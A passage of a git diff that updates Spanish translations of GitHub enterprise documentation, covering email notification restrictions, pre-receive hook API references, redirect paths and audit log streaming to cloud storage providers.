+shortTitle: Restringir las notificaciones por correo electrónico
 ---
 
-## About email restrictions for your enterprise
+## Acerca de las restricciones de correo electrónico para tu empresa
 
-When you restrict email notifications, enterprise members can only use an email address in a verified or approved domain to receive email notifications about activity in organizations owned by your enterprise.
+Cuando restringes las notificaciones por correo electrónico, los miembros empresariales solo pueden utilizar una dirección de correo electrónico en un dominio aprobado o verificado para recibir notificaciones por correo electrónico sobre la actividad en las organizaciones que pertenecen a tu empresa.
 
 {% data reusables.enterprise-accounts.approved-domains-beta-note %}
 
-The domains can be inherited from the enterprise or configured for the specific organization. For more information, see "[Verifying or approving a domain for your enterprise](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)" and "[Restricting email notifications for your organization](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)."
+Los dominios pueden heredarse desde la empresa o configurarse para la organización específica. Para obtener más información, consulta la sección "[Verificar o aprobar un dominio para tu empresa](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)" y "[Restringir las notificaciones por correo electrónico para tu organización](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)".
 
 {% data reusables.notifications.email-restrictions-verification %}
 
-If email restrictions are enabled for an enterprise, organization owners cannot disable email restrictions for any organization owned by the enterprise. If changes occur that result in an organization having no verified or approved domains, either inherited from an enterprise that owns the organization or for the specific organization, email restrictions will be disabled for the organization.
+Si se habilitan las restricciones de correo electrónico para una empresa, los propietarios de la organización no podrán inhabilitarlas en ninguna de las organizaciones que pertenezcan a esta. Si ocurre cualquier cambio que dé como resultado que una organización tenga dominios sin verificar o aprobar, ya se que los herede de una empresa que sea propietaria de la organización o que se configuren para la organización específica, las restricciones por correo electrónico se inhabilitarán para dicha organización.
 
-## Restricting email notifications for your enterprise
+## Restringir las notificaciones por correo electrónico para tu empresa
 
-Before you can restrict email notifications for your enterprise, you must verify or approve at least one domain for the enterprise. {% ifversion ghec %} For more information, see "[Verifying or approving a domain for your enterprise](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)."{% endif %}
+Antes de restringir las notificaciones por correo electrónico, debes verificar o aprobar por lo menos un dominio para la empresa. {% ifversion ghec %}Para obtener más información, consulta la sección "[Verificar o aprobar un dominio para tu empresa](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)".{% endif %}
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.verified-domains-tab %}
 {% data reusables.organizations.restrict-email-notifications %}
-1. Click **Save**.
+1. Haz clic en **Save ** (guardar).
diff --git a/translations/es-ES/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md b/translations/es-ES/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md
index c790608cdb..5076cf7d6b 100644
--- a/translations/es-ES/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md
+++ b/translations/es-ES/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md
@@ -83,14 +83,14 @@ La variable `$GITHUB_VIA` se encuentra disponible en el ambiente de gancho de pr
 
 | Valor                      | Acción                                                                                                                                                                                     | Más información                                                                                                                                                                             |
 |:-------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| <pre>auto-merge deployment api</pre>  | Fusión automática de la rama base a través del despliegue que se creó con la API                                                                                                           | "[Repositorios](/rest/reference/repos#create-a-deployment)" en la documentación de la API de REST                                                                                           |
+| <pre>auto-merge deployment api</pre>  | Fusión automática de la rama base a través del despliegue que se creó con la API                                                                                                           | "[Crear un despliegue](/rest/reference/deployments#create-a-deployment)" en la documentación de la API de REST                                                                              |
 | <pre>blob#save</pre> | Cambio al contenido de un archivo en la interface web                                                                                                                                      | "[Editar archivos](/repositories/working-with-files/managing-files/editing-files)"                                                                                                          |
-| <pre>branch merge api</pre> | Fusión de una rama a través de la API                                                                                                                                                      | "[Repositorios](/rest/reference/repos#merge-a-branch)" en la documentación de la API de REST                                                                                                |
+| <pre>branch merge api</pre> | Fusión de una rama a través de la API                                                                                                                                                      | "[Fusionar una rama](/rest/reference/branches#merge-a-branch)" en la documentación de la API de REST                                                                                        |
 | <pre>branches page delete button</pre> | Borrado de una rama en la interface web                                                                                                                                                    | "[Crear y borrar ramas dentro de tu repositorio](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#deleting-a-branch)"              |
 | <pre>git refs create api</pre> | Creación de una referencia a través de la API                                                                                                                                              | "[Base de datos de Git](/rest/reference/git#create-a-reference)" en la documentación de la API de REST                                                                                      |
 | <pre>git refs delete api</pre> | Borrado de una referencia a través de la API                                                                                                                                               | "[Bases de datos de Git](/rest/reference/git#delete-a-reference)" En la documentación de la API de REST                                                                                     |
 | <pre>git refs update api</pre> | Actualización de una referencia a tracvés de la API                                                                                                                                        | "[Base de datos de Git](/rest/reference/git#update-a-reference)" en la documentación de la API de REST                                                                                      |
-| <pre>git repo contents api</pre> | Cambio al contenido de un archivo a través de la API                                                                                                                                       | "[Repositorios](/rest/reference/repos#create-or-update-file-contents)" en la documentación de la API de REST                                                                                |
+| <pre>git repo contents api</pre> | Cambio al contenido de un archivo a través de la API                                                                                                                                       | "[Crear o actualizar el contenido de un archivo](/rest/reference/repos#create-or-update-file-contents)" en la API de REST                                                                   |
 | <pre>merge base into head</pre> | Actualiza la rama de tema de la rama base cuando la rama base requiere verificaciones de estado estrictas (a través de **Actualización de rama** en una solicitud de cambios, por ejemplo) | "[Acerca de las ramas protegidas](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)"                                                        |
 | <pre>pull request branch delete button</pre> | Borrado de una rama de tema desde una solicitud de cambios en la interface web                                                                                                             | "[Borrar y restaurar ramas en una solicitud de extracción](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request#deleting-a-branch-used-for-a-pull-request)" |
 | <pre>pull request branch undo button</pre> | Restablecimiento de una rama de tema desde una solicitud de cambios en la interface web                                                                                                    | "[Borrar y restaurar ramas en una solicitud de extracción](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request#restoring-a-deleted-branch)"                |
diff --git a/translations/es-ES/content/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance.md b/translations/es-ES/content/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance.md
index 7fce6a2759..8cb536e45d 100644
--- a/translations/es-ES/content/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance.md
+++ b/translations/es-ES/content/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance.md
@@ -3,7 +3,7 @@ title: Administrar ganchos de pre-recepción en el aparato del Servidor de GitHu
 intro: 'Configurar cómo las personas usarán sus ganchos de pre-recepción dentro de su aparato de {% data variables.product.prodname_ghe_server %}.'
 redirect_from:
   - /enterprise/admin/developer-workflow/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance
-  - /enterprise/admin/guides/developer-workflow/managing-pre-receive-hooks-on-the-github-enterprise-appliance/
+  - /enterprise/admin/guides/developer-workflow/managing-pre-receive-hooks-on-the-github-enterprise-appliance
   - /enterprise/admin/policies/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance
   - /admin/policies/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance
 versions:
diff --git a/translations/es-ES/content/admin/user-management/index.md b/translations/es-ES/content/admin/user-management/index.md
index d7dbbf1756..274253825d 100644
--- a/translations/es-ES/content/admin/user-management/index.md
+++ b/translations/es-ES/content/admin/user-management/index.md
@@ -3,7 +3,7 @@ title: 'Administrar usuarios, organizaciones y repositorios'
 shortTitle: 'Administrar usuarios, organizaciones y repositorios'
 intro: 'Esta guía describe los métodos de autenticación para los usuarios que inician sesión en tu empresa, cómo crear organizaciones y equipos para acceso a repositorios y colaboraciones, y las mejores prácticas que se sugieren para la seguridad de los usuarios.'
 redirect_from:
-  - /enterprise/admin/categories/user-management/
+  - /enterprise/admin/categories/user-management
   - /enterprise/admin/developer-workflow/using-webhooks-for-continuous-integration
   - /enterprise/admin/migrations
   - /enterprise/admin/clustering
diff --git a/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md b/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md
index 8e5c3ea588..2ab321db12 100644
--- a/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md
+++ b/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: Adding organizations to your enterprise
 intro: You can create new organizations or invite existing organizations to manage within your enterprise.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/adding-organizations-to-your-enterprise-account
   - /articles/adding-organizations-to-your-enterprise-account
diff --git a/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams.md b/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams.md
index 99a271c897..1ba3f5b7f9 100644
--- a/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams.md
+++ b/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams.md
@@ -1,9 +1,9 @@
 ---
 title: Agregar personas a los equipos
 redirect_from:
-  - /enterprise/admin/articles/adding-teams/
-  - /enterprise/admin/articles/adding-or-inviting-people-to-teams/
-  - /enterprise/admin/guides/user-management/adding-or-inviting-people-to-teams/
+  - /enterprise/admin/articles/adding-teams
+  - /enterprise/admin/articles/adding-or-inviting-people-to-teams
+  - /enterprise/admin/guides/user-management/adding-or-inviting-people-to-teams
   - /enterprise/admin/user-management/adding-people-to-teams
   - /admin/user-management/adding-people-to-teams
 intro: 'Una vez que se ha creado un equipo, los administradores de la organización pueden agregar usuarios desde {% data variables.product.product_location %} al equipo y determinar a qué repositorios tienen acceso.'
diff --git a/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/index.md b/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/index.md
index 11ee5f9dd3..c9457ce8e6 100644
--- a/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/index.md
+++ b/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/index.md
@@ -1,14 +1,14 @@
 ---
-title: Managing organizations in your enterprise
+title: Administrar las organizaciones en tu empresa
 redirect_from:
-  - /enterprise/admin/articles/adding-users-and-teams/
-  - /enterprise/admin/categories/admin-bootcamp/
+  - /enterprise/admin/articles/adding-users-and-teams
+  - /enterprise/admin/categories/admin-bootcamp
   - /enterprise/admin/user-management/organizations-and-teams
   - /enterprise/admin/user-management/managing-organizations-in-your-enterprise
   - /articles/managing-organizations-in-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise-account/managing-organizations-in-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account
-intro: 'Organizations are great for creating distinct groups of users within your company, such as divisions or groups working on similar projects. {% ifversion ghae %}Internal{% else %}Public and internal{% endif %} repositories that belong to an organization are accessible to members of other organizations in the enterprise, while private repositories are inaccessible to anyone but members of the organization that are granted access.'
+intro: 'Las organizaciones son ideales para crear grupos diferentes de usuarios dentro de tu empresa, como divisiones o grupos trabajando en proyectos similares.  Los repositorios {% ifversion ghae %}internos{% else %}Los repositorios públicos e internos{% endif %} que pertenecen a una organización son accesibles para los miembros de otras organizaciones en la empresa, mientras que los repositorios privados no son accesibles para nadie mas que los miembros de la organización que cuenta con este acceso.'
 versions:
   ghec: '*'
   ghes: '*'
@@ -29,5 +29,6 @@ children:
   - /removing-organizations-from-your-enterprise
   - /managing-projects-using-jira
   - /continuous-integration-using-jenkins
-shortTitle: Manage organizations
+shortTitle: Administrar las organizaciones
 ---
+
diff --git a/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/managing-projects-using-jira.md b/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/managing-projects-using-jira.md
index 7d8c489754..5e03f8fdc4 100644
--- a/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/managing-projects-using-jira.md
+++ b/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/managing-projects-using-jira.md
@@ -2,8 +2,8 @@
 title: Administrar proyectos utilizando Jira
 intro: 'Puedes integrar Jura con {% data variables.product.prodname_enterprise %} para la administración de proyectos.'
 redirect_from:
-  - /enterprise/admin/guides/installation/project-management-using-jira/
-  - /enterprise/admin/articles/project-management-using-jira/
+  - /enterprise/admin/guides/installation/project-management-using-jira
+  - /enterprise/admin/articles/project-management-using-jira
   - /enterprise/admin/developer-workflow/managing-projects-using-jira
   - /enterprise/admin/developer-workflow/customizing-your-instance-with-integrations
   - /enterprise/admin/user-management/managing-projects-using-jira
diff --git a/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/managing-unowned-organizations-in-your-enterprise.md b/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/managing-unowned-organizations-in-your-enterprise.md
index 60ee2790b2..4db54204c2 100644
--- a/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/managing-unowned-organizations-in-your-enterprise.md
+++ b/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/managing-unowned-organizations-in-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: Managing unowned organizations in your enterprise
 intro: Puedes convertirte en propietario de una organización en tu cuenta empresarial si ésta no tiene propietarios actualmente.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 permissions: Enterprise owners can manage unowned organizations in an enterprise account.
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/managing-unowned-organizations-in-your-enterprise-account
diff --git a/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/preventing-users-from-creating-organizations.md b/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/preventing-users-from-creating-organizations.md
index 8520ad2c1c..084c5416a4 100644
--- a/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/preventing-users-from-creating-organizations.md
+++ b/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/preventing-users-from-creating-organizations.md
@@ -1,8 +1,8 @@
 ---
 title: Impedir que los usuarios creen organizaciones
 redirect_from:
-  - /enterprise/admin/articles/preventing-users-from-creating-organizations/
-  - /enterprise/admin/hidden/preventing-users-from-creating-organizations/
+  - /enterprise/admin/articles/preventing-users-from-creating-organizations
+  - /enterprise/admin/hidden/preventing-users-from-creating-organizations
   - /enterprise/admin/user-management/preventing-users-from-creating-organizations
   - /admin/user-management/preventing-users-from-creating-organizations
 intro: Puedes prevenir que los usuarios creen organizaciones en tu empresa.
diff --git a/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise.md b/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise.md
index 0ba1cedf87..1dbb4672ea 100644
--- a/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise.md
+++ b/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise.md
@@ -1,7 +1,7 @@
 ---
 title: Removing organizations from your enterprise
 intro: 'If an organization should no longer be a part of your enterprise, you can remove the organization.'
-permissions: 'Enterprise owners can remove any organization from their enterprise.'
+permissions: Enterprise owners can remove any organization from their enterprise.
 versions:
   ghec: '*'
 type: how_to
@@ -23,9 +23,6 @@ shortTitle: Removing organizations
 ## Removing an organization from your Enterprise
 
 {% data reusables.enterprise-accounts.access-enterprise %}
-2. Under "Organizations", in the search bar, begin typing the organization's name until the organization appears in the search results.
-![Screenshot of the search field for organizations](/assets/images/help/enterprises/organization-search.png)
-3. To the right of the organization's name, select the {% octicon "gear" aria-label="The gear icon" %} drop-down menu and click **Remove organization**.
-![Screenshot of an organization in search results](/assets/images/help/enterprises/remove-organization.png)
-4. Review the warnings, then click **Remove organization**.
-![Screenshot of a warning message and button to remove organization](/assets/images/help/enterprises/remove-organization-warning.png)
+2. Under "Organizations", in the search bar, begin typing the organization's name until the organization appears in the search results. ![Screenshot of the search field for organizations](/assets/images/help/enterprises/organization-search.png)
+3. To the right of the organization's name, select the {% octicon "gear" aria-label="The gear icon" %} drop-down menu and click **Remove organization**. ![Screenshot of an organization in search results](/assets/images/help/enterprises/remove-organization.png)
+4. Review the warnings, then click **Remove organization**. ![Screenshot of a warning message and button to remove organization](/assets/images/help/enterprises/remove-organization-warning.png)
diff --git a/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account.md b/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account.md
index 01153604dc..bd18212c03 100644
--- a/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account.md
+++ b/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account.md
@@ -1,7 +1,6 @@
 ---
-title: Streaming the audit logs for organizations in your enterprise account
+title: Transmitir las bitácoras de auditoría para las organizaciones de tu cuenta empresarial
 intro: 'You can stream audit and Git events data from {% data variables.product.prodname_dotcom %} to an external data management system.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 miniTocMaxHeadingLevel: 3
 versions:
   ghec: '*'
@@ -11,7 +10,7 @@ topics:
   - Enterprise
   - Logging
   - Organizations
-shortTitle: Stream organization audit logs
+shortTitle: Transmitir bitácoras de auditoría de la organización
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/streaming-the-audit-logs-for-organizations-in-your-enterprise-account
 permissions: Enterprise owners can configure audit log streaming.
@@ -19,17 +18,17 @@ permissions: Enterprise owners can configure audit log streaming.
 
 {% note %}
 
-**Note:** Audit log streaming is currently in beta for {% data variables.product.prodname_ghe_cloud %} and subject to change.
+**Nota:** La transmisión de bitácoras de auditoría se encuentra actualmente en beta para {% data variables.product.prodname_ghe_cloud %} y está sujeta a cambios.
 
 {% endnote %}
 
-## About exporting audit data
+## Acerca de exportar los datos de auditoría
 
-You can extract audit log and Git events data from {% data variables.product.prodname_dotcom %} in multiple ways:
+Puedes extraer datos de bitácoras de auditoría y de eventos de git desde {% data variables.product.prodname_dotcom %} en varias formas:
 
-* Go to the Audit log page in {% data variables.product.prodname_dotcom %} and click **Export**. For more information, see "[Viewing the audit logs for organizations in your enterprise account](/github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/viewing-the-audit-logs-for-organizations-in-your-enterprise-account)" and "[Exporting the audit log](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#exporting-the-audit-log)."
-* Use the API to poll for new audit log events. For more information, see "[Using the audit log API](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#using-the-audit-log-api)."
-* Set up {% data variables.product.product_name %} to stream audit data as events are logged.
+* Ve a la página de bitácoras de auditoría en {% data variables.product.prodname_dotcom %} y haz clic en **Exportar**. Para obtener más información, consulta las secciones "[Ver las bitácoras de auditoría para las organizaciones de tu cuenta empresarial](/github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/viewing-the-audit-logs-for-organizations-in-your-enterprise-account)" y "[Exportar la bitácora de auditoría](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#exporting-the-audit-log)".
+* Utiliza la API para encuestar por eventos nuevos de bitácoras de auditoría. Para obtener más información, consulta la sección "[Utilizar la API de bitácoras de auditoría](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#using-the-audit-log-api)".
+* Configurar {% data variables.product.product_name %} para transmitir datos de auditoría mientras se registran los eventos.
 
 Currently, audit log streaming is supported for multiple storage providers.
 - Amazon S3
@@ -37,20 +36,20 @@ Currently, audit log streaming is supported for multiple storage providers.
 - Google Cloud Storage
 - Splunk
 
-## About audit log streaming
+## Acerca de la transmisión de bitácoras de auditoría
 
-To help protect your intellectual property and maintain compliance for your organization, you can use streaming to keep copies of your audit log data and monitor:
+Para ayudarte a proteger tu propiedad intelectual y mantener el cumplimiento en tu organización, puedes utilizar la transmisión para mantener copias de tus datos de bitácoras de auditoría y monitorear:
 {% data reusables.audit_log.audited-data-list %}
 
-The benefits of streaming audit data include:
+Los beneficios de transmitir datos de auditoría incluyen:
 
-* **Data exploration**. You can examine streamed events using your preferred tool for querying large quantities of data. The stream contains both audit events and Git events across the entire enterprise account.
-* **Data continuity**. You can pause the stream for up to seven days without losing any audit data.
-* **Data retention**. You can keep your exported audit logs and Git data as long as you need to.
+* **Exploración de datos**. Puedes examinar los eventos transmitidos utilizando tu herramienta preferida para consultar cantidades grandes de datos. La transmisión contiene tanto los eventos de auditoría como los de Git a lo largo de toda la cuenta empresarial.
+* **Continuidad de datos**. Puedes pausar la transmisión por hasta siete días sin perder datos de auditoría.
+* **Retención de datos**. Puedes mantener tus datos de bitácoras de auditoría y de Git exportados conforme los necesites.
 
-Enterprise owners can set up, pause, or delete a stream at any time. The stream exports the audit data for all of the organizations in your enterprise.
+Los propietrios de empresas pueden configurar, pausar o borrar una transmisión en cualquier momento. La transmisión exporta los datos de auditoría de todas las organizaciones en tu empresa.
 
-## Setting up audit log streaming
+## Configurar la transmisión de bitácoras de auditoría
 
 You set up the audit log stream on {% data variables.product.product_name %} by following the instructions for your provider.
 
@@ -61,7 +60,7 @@ You set up the audit log stream on {% data variables.product.product_name %} by
 
 ### Setting up streaming to Amazon S3
 
-To stream audit logs to Amazon's S3 endpoint, you must have a bucket and access keys. For more information, see [Creating, configuring, and working with Amazon S3 buckets](https://docs.aws.amazon.com/AmazonS3/latest/userguide/creating-buckets-s3.html) in the the AWS documentation. Make sure to block public access to the bucket to protect your audit log information. 
+To stream audit logs to Amazon's S3 endpoint, you must have a bucket and access keys. For more information, see [Creating, configuring, and working with Amazon S3 buckets](https://docs.aws.amazon.com/AmazonS3/latest/userguide/creating-buckets-s3.html) in the the AWS documentation. Make sure to block public access to the bucket to protect your audit log information.
 
 To set up audit log streaming from {% data variables.product.prodname_dotcom %} you will need:
 * The name of your Amazon S3 bucket
@@ -71,43 +70,34 @@ To set up audit log streaming from {% data variables.product.prodname_dotcom %}
 For information on creating or accessing your access key ID and secret key, see [Understanding and getting your AWS credentials](https://docs.aws.amazon.com/general/latest/gr/aws-sec-cred-types.html) in the AWS documentation.
 
 {% data reusables.enterprise.navigate-to-log-streaming-tab %}
-1. Click **Configure stream** and select **Amazon S3**.
-   ![Choose Amazon S3 from the drop-down menu](/assets/images/help/enterprises/audit-stream-choice-s3.png)
-1. On the configuration page, enter:
+1. Click **Configure stream** and select **Amazon S3**. ![Choose Amazon S3 from the drop-down menu](/assets/images/help/enterprises/audit-stream-choice-s3.png)
+1. En la página de configuración, ingresa:
    * The name of the bucket you want to stream to. For example, `auditlog-streaming-test`.
    * Your access key ID. For example, `ABCAIOSFODNN7EXAMPLE1`.
-   * Your secret key. For example, `aBcJalrXUtnWXYZ/A1MDENG/zPxRfiCYEXAMPLEKEY`.
-   ![Enter stream settings](/assets/images/help/enterprises/audit-stream-add-s3.png)
-1. Click **Check endpoint** to verify that {% data variables.product.prodname_dotcom %} can connect to the Amazon S3 endpoint.
-   ![Check the endpoint](/assets/images/help/enterprises/audit-stream-check.png)
+   * Your secret key. For example, `aBcJalrXUtnWXYZ/A1MDENG/zPxRfiCYEXAMPLEKEY`. ![Ingresar la configuración de transmisiones](/assets/images/help/enterprises/audit-stream-add-s3.png)
+1. Click **Check endpoint** to verify that {% data variables.product.prodname_dotcom %} can connect to the Amazon S3 endpoint. ![Verificar la terminal](/assets/images/help/enterprises/audit-stream-check.png)
 {% data reusables.enterprise.verify-audit-log-streaming-endpoint %}
 
-### Setting up streaming to Azure Event Hubs
+### Configurar la transmisión hacia Azure Event Hubs
 
-Before setting up a stream in {% data variables.product.prodname_dotcom %}, you must first have an event hub namespace in Microsoft Azure. Next, you must create an event hub instance within the namespace. You'll need the details of this event hub instance when you set up the stream. For details, see the Microsoft documentation, "[Quickstart: Create an event hub using Azure portal](https://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-create)." 
+Antes de configurar una transmisión en {% data variables.product.prodname_dotcom %}, primero debes tener un espacio designador de nombre para concentradores de eventos en Microsoft Azure. Posteriormente, debes crear una instancia de concentrador de eventos dentro del designador de nombre. Necesitarás los detalles de esta instancia de concentrador de eventos cuando configures la transmisión. Para encontrar los detalles, consulta la documentación de Microsoft, en la aprte de "[Inicio rápido: Crear un concentrador de eventos utilizando el portal de Azure](https://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-create)".
 
-You need two pieces of information about your event hub: its instance name and the connection string. 
+Necesitas dos partes de información sobre tu concentrador de eventos: su nombre de instancia y la secuencia de conexión.
 
-**On Microsoft Azure portal**:
-1. In the left menu select **Entities**. Then select **Event Hubs**. The names of your event hubs are listed. 
-   ![A list of event hubs](/assets/images/help/enterprises/azure-event-hubs-list.png)
-1. Make a note of the name of the event hub you want to stream to.
-1. Click the required event hub. Then, in the left menu, select **Shared Access Policies**.
-1. Select a shared access policy in the list of policies, or create a new policy.
-   ![A list of shared access policies](/assets/images/help/enterprises/azure-shared-access-policies.png)
-1. Click the button to the right of the **Connection string-primary key** field to copy the connection string.
-   ![The event hub connection string](/assets/images/help/enterprises/azure-connection-string.png)
+**En el portal de Microsoft Azure**:
+1. En el menú de la izquierda, selecciona **Entidades**. Posteriormente, selecciona **Concentradores de Eventos**. Se listarán los nombres de tus concentradores de eventos. ![Una lista de concentradores de eventos](/assets/images/help/enterprises/azure-event-hubs-list.png)
+1. Haz una nota del nombre del concentrador de eventos al cual quieras transmitir.
+1. Haz clic en el concentrador de eventos requerido. Posteriormente, en el menú de la izquierda, selecciona **Políticas de Acceso Compartido**.
+1. Selecciona las políticas de acceso compartido de la lista de políticas o crea una nueva. ![Una lista de políticas de acceso compartidas](/assets/images/help/enterprises/azure-shared-access-policies.png)
+1. Haz clic en el botón a la derecha del campo **Secuencia de conexión-llave primaria** para copiar la secuencia de conexión. ![La secuencia de conexión del concentrador de eventos](/assets/images/help/enterprises/azure-connection-string.png)
 
-**On {% data variables.product.prodname_dotcom %}**:
+**En {% data variables.product.prodname_dotcom %}**:
 {% data reusables.enterprise.navigate-to-log-streaming-tab %}
-1. Click **Configure stream** and select **Azure Event Hubs**.
-   ![Choose Azure Events Hub from the drop-down menu](/assets/images/help/enterprises/audit-stream-choice-azure.png)
-1. On the configuration page, enter:
-   * The name of the Azure Event Hubs instance.
-   * The connection string.
-   ![Enter stream settings](/assets/images/help/enterprises/audit-stream-add-azure.png)
-1. Click **Check endpoint** to verify that {% data variables.product.prodname_dotcom %} can connect to the Azure endpoint.
-   ![Check the endpoint](/assets/images/help/enterprises/audit-stream-check.png)
+1. Haz clic en **Configurar transmisión** y selecciona **Azure Event Hubs**. ![Choose Azure Events Hub from the drop-down menu](/assets/images/help/enterprises/audit-stream-choice-azure.png)
+1. En la página de configuración, ingresa:
+   * El nombre de la instancia de Azure Event Hubs.
+   * La secuencia de conexión. ![Ingresar la configuración de transmisiones](/assets/images/help/enterprises/audit-stream-add-azure.png)
+1. Haz clic en **Verificar terminal** para verificar que {% data variables.product.prodname_dotcom %} puede conectarse a la terminal de Azure. ![Verificar la terminal](/assets/images/help/enterprises/audit-stream-check.png)
 {% data reusables.enterprise.verify-audit-log-streaming-endpoint %}
 
 ### Setting up streaming to Google Cloud Storage
@@ -131,52 +121,47 @@ To set up streaming to Google Cloud Storage, you must create a service account i
 
    ![Screenshot of the "JSON Credentials" text field](/assets/images/help/enterprises/audit-stream-json-credentials-google-cloud-storage.png)
 
-1. To verify that {% data variables.product.prodname_dotcom %} can connect and write to the Google Cloud Storage bucket, click **Check endpoint**. 
+1. To verify that {% data variables.product.prodname_dotcom %} can connect and write to the Google Cloud Storage bucket, click **Check endpoint**.
 
    ![Screenshot of the "Check endpoint" button](/assets/images/help/enterprises/audit-stream-check-endpoint-google-cloud-storage.png)
 
 {% data reusables.enterprise.verify-audit-log-streaming-endpoint %}
 
-### Setting up streaming to Splunk
+### Configurar la transmisión a Splunk
 
-To stream audit logs to Splunk's HTTP Event Collector (HEC) endpoint you must make sure that the endpoint is configured to accept HTTPS connections. For more information, see [Set up and use HTTP Event Collector in Splunk Web](https://docs.splunk.com/Documentation/Splunk/latest/Data/UsetheHTTPEventCollector) in the Splunk documentation.
+Para transmitir bitácoras de auditoría a la terminal del Recolector de Eventos HTTP (HEC) de Splunk, debes asegurarte de que la terminal se configure para aceptar conexiones HTTPS. For more information, see [Set up and use HTTP Event Collector in Splunk Web](https://docs.splunk.com/Documentation/Splunk/latest/Data/UsetheHTTPEventCollector) in the Splunk documentation.
 
 {% data reusables.enterprise.navigate-to-log-streaming-tab %}
-1. Click **Configure stream** and select **Splunk**.
-   ![Choose Splunk from the drop-down menu](/assets/images/help/enterprises/audit-stream-choice-splunk.png)
-1. On the configuration page, enter:
-   * The domain on which the application you want to stream to is hosted.
-  
